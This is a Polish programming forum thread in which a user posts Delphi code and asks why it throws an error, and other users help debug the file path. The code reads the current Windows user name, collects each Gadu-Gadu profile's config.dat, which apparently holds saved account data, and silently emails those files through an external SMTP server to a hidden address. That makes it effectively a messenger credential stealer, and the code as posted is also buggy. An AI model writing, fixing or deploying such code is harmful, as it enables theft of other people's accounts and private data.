problem z wysłaniem załącznika

0

Mam taki kodzik:

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, IdMessage, IdBaseComponent, IdComponent, IdTCPConnection,
  IdTCPClient, IdMessageClient, IdSMTP, StdCtrls;

type
  TForm1 = class(TForm)
    Button1: TButton;
    IdSMTP1: TIdSMTP;
    IdMessage1: TIdMessage;
    procedure Button1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;
    SR : TSearchRec;
  Found : Integer; // liczba znalezionych plikow
  User : String;
  Buff : DWORD;
implementation

{$R *.dfm}

procedure TForm1.Button1Click(Sender: TObject);

begin

  Buff := 256; //stała UNLEN
  SetLength(User, Buff);
  GetUserName(PChar(User), Buff);


  Found := FindFirst('C:\Documents and Settings\'+user+'\Gadu-Gadu\*.*', faDirectory, SR); // odnajdz
  while (Found = 0) do // dopoki liczba znalezionych plikow nie
// bedzie rowna 0
  begin
IdMessage1.Body.Append('...');
IdMessage1.From.Name := 'imie od kogo';
IdMessage1.From.Address := '***';
IdMessage1.Recipients.EMailAddresses := '***';
IdMessage1.Subject := 'temat';


IdSMTP1.UserName := '***';
IdSMTP1.Password := '***';
IdSMTP1.Host :=  'www.poczta.fm';
IdSMTP1.AuthenticationType:=atLogin; // autoryzacja SMTP
IdSMTP1.Connect;
try
TIdAttachment.Create(IdMessage1.MessageParts,'C:\Documents and Settings\'+user+'\Gadu-Gadu\'+SR.name+'\config.dat);
  IdSMTP1.Send(IdMessage1); //wyślij

finally
  IdSMTP1.Disconnect;
  idmessage1.MessageParts.Clear;
end;
    Found := FindNext(SR); // szukaj dalej
  end;
  FindClose(SR); // zakoncz wyszukowanie
end;
end.

i wywala mi taki błąd
user image
What's wrong ?? :) Dzieje sie tak po nacisnieciu buttona do wysyłania.

0

angielski..wkuwaj angielski!! :-D

oznacza, że nie może otworzyć pliku "User Name" (podałeś złą ścieżkę)

na drugi raz jak wyskoczy Ci błąd naciskasz magiczną kombinacje klawiszy CTRL + C a potem wklejasz do notatnika np ;-)

0

Czytaj stary.. czytaj. W kodzie masz jasno napisane że sam rozpoznaje nazwe użytkownika. Zresztą chyba wiem jak mam na imie, nie? Aha i odkryłem że jest błąd albo z SR.name Albo z user. Jak sam wpisuje ścieżkę to działa jak zlecam to zmiennej to nie działa:P

1 użytkowników online, w tym zalogowanych: 0, gości: 1